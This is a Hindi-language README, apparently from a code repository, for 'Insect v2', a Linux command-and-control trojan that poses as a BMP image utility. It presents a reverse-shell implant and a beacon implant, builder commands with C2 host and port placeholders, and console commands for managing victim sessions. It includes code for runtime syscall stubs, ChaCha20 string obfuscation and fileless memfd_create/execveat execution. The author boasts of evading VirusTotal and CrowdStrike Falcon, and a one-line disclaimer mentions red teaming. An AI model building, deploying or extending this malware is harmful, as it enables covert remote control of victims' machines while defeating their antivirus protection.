
एक फाइललेस रिवर्स शेल और C2 फ्रेमवर्क जो AV बचाव के लिए डायरेक्ट सिसकॉल, प्रॉक्सी टनलिंग, और ChaCha20 एन्क्रिप्शन का उपयोग करता है।
Insect एक C2 ट्रोजन है जो फाइललेस रिवर्स शेल और बीकन लिनक्स पेलोड के लिए है। यह ट्रोजन खुद को 24-बिट BMP इमेज प्रोसेसिंग यूटिलिटी के रूप में छिपाता है। यह स्टेटिक विश्लेषण से बचने के लिए डायनामिक सिसकॉल स्टब्स, memfd_create, ChaCha20 एन्क्रिप्टेड स्ट्रिंग रिसोर्सेज, टनल प्रॉक्सी और ICC प्रोफाइल एन्क्रिप्टर का उपयोग करता है। C2 सर्वर 2 प्रकार के पेलोड का समर्थन करता है, इंटरैक्टिव और बीकन।
मैनुअल सिसकॉल क्राफ्टिंग एक पुरानी तकनीक है, लेकिन Insect v2 के लिए, मैंने रनटाइम पर स्टब्स बनाने के तरीके को परिष्कृत किया है ताकि आधुनिक स्कैनर की रडार से बचा जा सके। सिसकॉल्स को गतिशील रूप से बनाकर, पेलोड उन मानक सिग्नेचर्स से बचता है जिन्हें स्टेटिक AV आमतौर पर पकड़ लेते हैं।
वास्तविक दुनिया के परीक्षणों में, इसने VirusTotal पर हर इंजन को सफलतापूर्वक बायपास किया। मैंने इसे CrowdStrike Falcon के खिलाफ भी परखा, जहां इसे स्टेटिक इंजन से कोई डिटेक्शन नहीं मिला और "ग्रीन फ्लैग" प्राप्त हुआ। डायनामिक विश्लेषण के दौरान, इसने केवल एक मामूली संदेह उत्पन्न किया और अंततः इसे भी सुरक्षित घोषित कर दिया गया।
अस्वीकरण: Insect V2 एक कार्य प्रगति पर है, साथ ही मैं किसी भी अवैध गतिविधि का समर्थन नहीं करता, आप इसे रेड टीमिंग उद्देश्यों के लिए उपयोग करने के लिए स्वतंत्र हैं। और इसे संशोधित करें।
server.py → मल्टी-सेशन C2 कंसोल
main.c → रिवर्सशेल इम्प्लांट (इंटरैक्टिव शेल)
main_beacon.c → बीकन इम्प्लांट (टास्क-संचालित पोलिंग)
हमारे पास 2 प्रोफाइल हैं:
# इंटरैक्टिव रिवर्स शेल
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# टास्क-संचालित बीकन
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
दोनों एक bmputil बाइनरी उत्पन्न करते हैं। बिल्डर बिल्ड समय पर सभी प्लेनटेक्स्ट स्ट्रिंग्स को ChaCha20 से एन्क्रिप्ट करता है, कंपाइल किए गए ELF को ICC प्रोफाइल मास्क से एन्क्रिप्ट करता है, इसे नामित ELF सेक्शन्स में विभाजित करता है, और एक लोडर स्टब उत्पन्न करता है।
python3 server.py
डिफ़ॉल्ट रूप से 0.0.0.0:8080 पर एक लिसनर शुरू करता है।
(insect) > list # सक्रिय सेशन दिखाएं
(insect) > use rev-a1b2c3d4 # रिवर्सशेल के साथ इंटरैक्ट करें
(insect) > task bea-deadbeef whoami # बीकन के लिए एक कमांड कतार में डालें
(insect) > tasks bea-deadbeef # पूर्ण किए गए टास्क परिणाम देखें
(insect) > listen beacon 0.0.0.0 9090 # एक अतिरिक्त लिसनर शुरू करें
(insect) > exit
सेशन्स को बिल्ड समय पर एम्बेड किए गए एक अद्वितीय 4-बाइट स्टेटिक ID के माध्यम से ट्रैक किया जाता है।
लक्ष्य मशीन पर निष्पादित करते समय, पेलोड वैधता बनाए रखने के लिए डमी आर्गुमेंट्स स्वीकार करता है:
./bmputil input.bmp output.bmp --grayscale
अंदरूनी तौर पर यह फोर्क करता है, Minecraft हैंडशेक टनल (playit.gg) के माध्यम से C2 से वापस कनेक्ट करता है, और 0xDEAD ट्रिगर की प्रतीक्षा करता है। एक बार ट्रिगर होने पर, यह stdin/stdout/stderr को सॉकेट पर रीडायरेक्ट करता है और /bin/sh स्पॉन करता है।
C2 सर्वर रिवर्सशेल कनेक्शन्स को एक सेशन रजिस्ट्री में रखता है। अपने टर्मिनल को एक सेशन से जोड़ने के लिए use <id> का उपयोग करें।
बीकन कनेक्ट होते हैं, अपने एम्बेडेड beacon_id के साथ रजिस्टर करते हैं, लंबित टास्क की जांच करते हैं, उन्हें fork + pipe + execve के माध्यम से निष्पादित करते हैं, परिणाम रिपोर्ट करते हैं, फिर 30 सेकंड के लिए सोते हैं और पुनः कनेक्ट करते हैं।
कार्य को कतार में डालने के लिए task <id> <command> का उपयोग करें। परिणाम मेमोरी में संग्रहीत होते हैं और tasks <id> के साथ देखे जाते हैं।
दोनों प्रोफाइल समान इवेजन प्रिमिटिव्स साझा करते हैं:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
जैसा कि पहले चर्चा की गई, सिसकॉल ऑपकोड्स (0F 05) स्टेटिक विश्लेषण से बचने के लिए निष्पादन योग्य मेमोरी में रनटाइम पर बनाए जाते हैं।
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
प्रत्येक स्ट्रिंग को बिल्ड समय पर एक अद्वितीय nonce के साथ एन्क्रिप्ट किया जाता है। स्टेट कॉन्स्टेंट्स पर XOR मास्क ChaCha20 सेटअप के सिग्नेचर-आधारित डिटेक्शन को रोकता है।
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
पेलोड पूरी तरह से मेमोरी से memfd_create + execveat के माध्यम से निष्पादित होता है।
तकनीकी रूप से, memfd_create और execveat AVs द्वारा डिटेक्ट किए जाते हैं लेकिन वे एन्क्रिप्टेड हैं और रनटाइम में बनाए जाते हैं, और आश्चर्यजनक रूप से वास्तविक दुनिया के परीक्षणों में, फ्लैग नहीं किए जाते हैं।
इंटरमीडिएट ELF को एक गामा-करेक्टेड ICC कलर लुकअप टेबल और एक रैंडम 32-बाइट कुंजी के साथ XOR-एन्क्रिप्ट किया जाता है, फिर 8 नामित .rodata.blk* सेक्शन्स में विभाजित किया जाता है। लोडर स्टब इसे पुनः संयोजित करता है, डिक्रिप्ट करता है, और निष्पादित करता है।
यह विधि कोई नई नहीं है, बल्कि यह एक पुरानी तकनीक है, लेकिन insect v2 विभिन्न सुरक्षा राइटअप्स और मैलवेयर्स में उल्लिखित तकनीकों को संशोधित और पुनः लागू करता है, आप उन्हें यहां देख सकते हैं: